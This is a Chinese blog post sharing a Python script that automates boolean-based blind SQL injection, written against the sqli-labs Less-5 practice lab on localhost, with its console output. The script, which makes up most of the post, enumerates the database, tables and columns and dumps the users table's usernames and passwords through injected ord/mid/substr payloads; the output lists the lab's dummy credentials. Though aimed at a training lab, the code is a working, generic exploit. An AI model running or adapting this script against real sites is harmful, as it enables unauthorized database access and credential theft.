好久没写python了,就想着写个简单的练练手,写个布尔型盲注自动化脚本,我觉得这个功能写的非常全了,这里是参考sqli-labs里面的盲注漏洞进行的脚本编写。
脚本运行时间:6分半左右
bool_sqlblind.py
# -*- coding:utf-8 -*-
# Author: mochu7
import requests
def ascii_str():#生成库名表名字符所在的字符列表字典
str_list=[]
for i in range(33,127):#所有可显示字符
str_list.append(chr(i))
#print('可显示字符:%s'%str_list)
return str_list#返回字符列表
def db_length(url,str):
print("[-]开始测试数据库名长度.......")
num=1
while True:
db_payload=url+"' and (length(database())=%d)--+"%num
r=requests.get(db_payload)
if str in r.text:
db_length=num
print("[+]数据库长度:%d\n"%db_length)
db_name(db_length)#进行下一步,测试库名
break
else:
num += 1
def db_name(db_length):
print("[-]开始测试数据库名.......")
db_name=''
str_list=ascii_str()
for i in range(1,db_length+1):
for j in str_list:
db_payload=url+"' and (ord(mid(database(),%d,1))='%s')--+"%(i,ord(j))
r=requests.get(db_payload)
if str in r.text:
db_name+=j
break
print("[+]数据库名:%s\n"%db_name)
tb_piece(db_name)#进行下一步,测试security数据库有几张表
return db_name
def tb_piece(db_name):
print("开始测试%s数据库有几张表........"%db_name)
for i in range(100):#猜解库中有多少张表,合理范围即可
tb_payload=url+"' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+"%(i,db_name)
r=requests.get(tb_payload)
if str in r.text:
tb_piece=i
break
print("[+]%s库一共有%d张表\n"%(db_name,tb_piece))
tb_name(db_name,tb_piece)#进行下一步,猜解表名
def tb_name(db_name,tb_piece):
print("[-]开始猜解表名.......")
table_list=[]
for i in range(tb_piece):
str_list=ascii_str()
tb_length=0
tb_name=''
for j in range(1,20):#表名长度,合理范围即可
tb_payload=url+"' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+"%(i,j)
r=requests.get(tb_payload)
if str in r.text:
tb_length=j
print("第%d张表名长度:%s"%(i+1,tb_length))
for k in range(1,tb_length+1):#根据表名长度进行截取对比
for l in str_list:
tb_payload=url+"' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+"%(i,k,ord(l))
r=requests.get(tb_payload)
if str in r.text:
tb_name+=l
print("[+]:%s"%tb_name)
table_list.append(tb_name)
break
print("\n[+]%s库下的%s张表:%s\n"%(db_name,tb_piece,table_list))
column_num(table_list,db_name)#进行下一步,猜解每张表的字段数
def column_num(table_list,db_name):
print("[-]开始猜解每张表的字段数:.......")
column_num_list=[]
for i in table_list:
for j in range(30):#每张表的字段数量,合理范围即可
column_payload=url+"' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+"%(j,i)
r=requests.get(column_payload)
if str in r.text:
column_num=j
column_num_list.append(column_num)#把所有表的字段,依次放入这个列表当中
print("[+]%s表\t%s个字段"%(i,column_num))
break
print("\n[+]表对应的字段数:%s\n"%column_num_list)
column_name(table_list,column_num_list,db_name)#进行下一步,猜解每张表的字段名
def column_name(table_list,column_num_list,db_name):
print("[-]开始猜解每张表的字段名.......")
column_length=[]
str_list=ascii_str()
column_name_list=[]
for t in range(len(table_list)):#t在这里代表每张表的列表索引位置
print("\n[+]%s表的字段:"%table_list[t])
for i in range(column_num_list[t]):#i表示每张表的字段数量
column_name=''
for j in range(1,21):#j表示每个字段的长度
column_name_length=url+"' and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)--+"%(j-1,table_list[t],i)
r=requests.get(column_name_length)
if str in r.text:
column_length.append(j)
break
for k in str_list:#k表示我们猜解的字符字典
column_payload=url+"' and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+"%(table_list[t],i,j,ord(k))
r=requests.get(column_payload)
if str in r.text:
column_name+=k
print('[+]:%s'%column_name)
column_name_list.append(column_name)
#print(column_name_list)#输出所有表中的字段名到一个列表中
dump_data(table_list,column_name_list,db_name)#进行最后一步,输出指定字段的数据
def dump_data(table_list,column_name_list,db_name):
print("\n[-]对%s表的%s字段进行爆破.......\n"%(table_list[3],column_name_list[9:12]))
str_list=ascii_str()
for i in column_name_list[9:12]:#id,username,password字段
for j in range(101):#j表示有多少条数据,合理范围即可
data_num_payload=url+"' and (select count(%s) from %s.%s)=%d--+"%(i,db_name,table_list[3],j)
r=requests.get(data_num_payload)
if str in r.text:
data_num=j
break
print("\n[+]%s表中的%s字段有以下%s条数据:"%(table_list[3],i,data_num))
for k in range(data_num):
data_len=0
dump_data=''
for l in range(1,21):#l表示每条数据的长度,合理范围即可
data_len_payload=url+"' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+"%(i,db_name,table_list[3],k,l)
r=requests.get(data_len_payload)
if str not in r.text:
data_len=l-1
for x in range(1,data_len+1):#x表示每条数据的实际范围,作为mid截取的范围
for y in str_list:
data_payload=url+"' and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+"%(i,db_name,table_list[3],k,x,ord(y))
r=requests.get(data_payload)
if str in r.text:
dump_data+=y
break
break
print('[+]%s'%dump_data)#输出每条数据
if __name__ == '__main__':
url="http://127.0.0.1/sqli-labs/Less-5/?id=1"#目标url
str="You are in"#布尔型盲注的true&false的判断因素
db_length(url,str)#程序入口
运行结果
PS C:\Users\Administrator\Desktop> python3 .\bool_sqlblind.py [-]开始测试数据库名长度.......
[+]数据库长度:8[-]开始测试数据库名.......
[+]数据库名:security开始测试security数据库有几张表........
[+]security库一共有4张表[-]开始猜解表名.......
第1张表名长度:6
[+]:emails
第2张表名长度:8
[+]:referers
第3张表名长度:7
[+]:uagents
第4张表名长度:5
[+]:users[+]security库下的4张表:['emails', 'referers', 'uagents', 'users']
[-]开始猜解每张表的字段数:.......
[+]emails表 2个字段
[+]referers表 3个字段
[+]uagents表 4个字段
[+]users表 7个字段[+]表对应的字段数:[2, 3, 4, 7]
[-]开始猜解每张表的字段名.......
[+]emails表的字段:
[+]:id
[+]:email_id[+]referers表的字段:
[+]:id
[+]:referer
[+]:ip_address[+]uagents表的字段:
[+]:id
[+]:uagent
[+]:ip_address
[+]:username[+]users表的字段:
[+]:id
[+]:username
[+]:password
[+]:level
[+]:id
[+]:username
[+]:password[-]对users表的['id', 'username', 'password']字段进行爆破.......
[+]users表中的id字段有以下13条数据:
[+]1
[+]2
[+]3
[+]4
[+]5
[+]6
[+]7
[+]8
[+]9
[+]10
[+]11
[+]12
[+]14[+]users表中的username字段有以下13条数据:
[+]Dumb
[+]Angelina
[+]Dummy
[+]secure
[+]stupid
[+]superman
[+]batman
[+]admin
[+]admin1
[+]admin2
[+]admin3
[+]dhakkan
[+]admin4[+]users表中的password字段有以下13条数据:
[+]Dumb
[+]I-kill-you
[+]p@ssword
[+]crappy
[+]stupidity
[+]genious
[+]mob!le
[+]admin
[+]admin1
[+]admin2
[+]admin3
[+]dumbo
[+]admin4
PS C:\Users\Administrator\Desktop>
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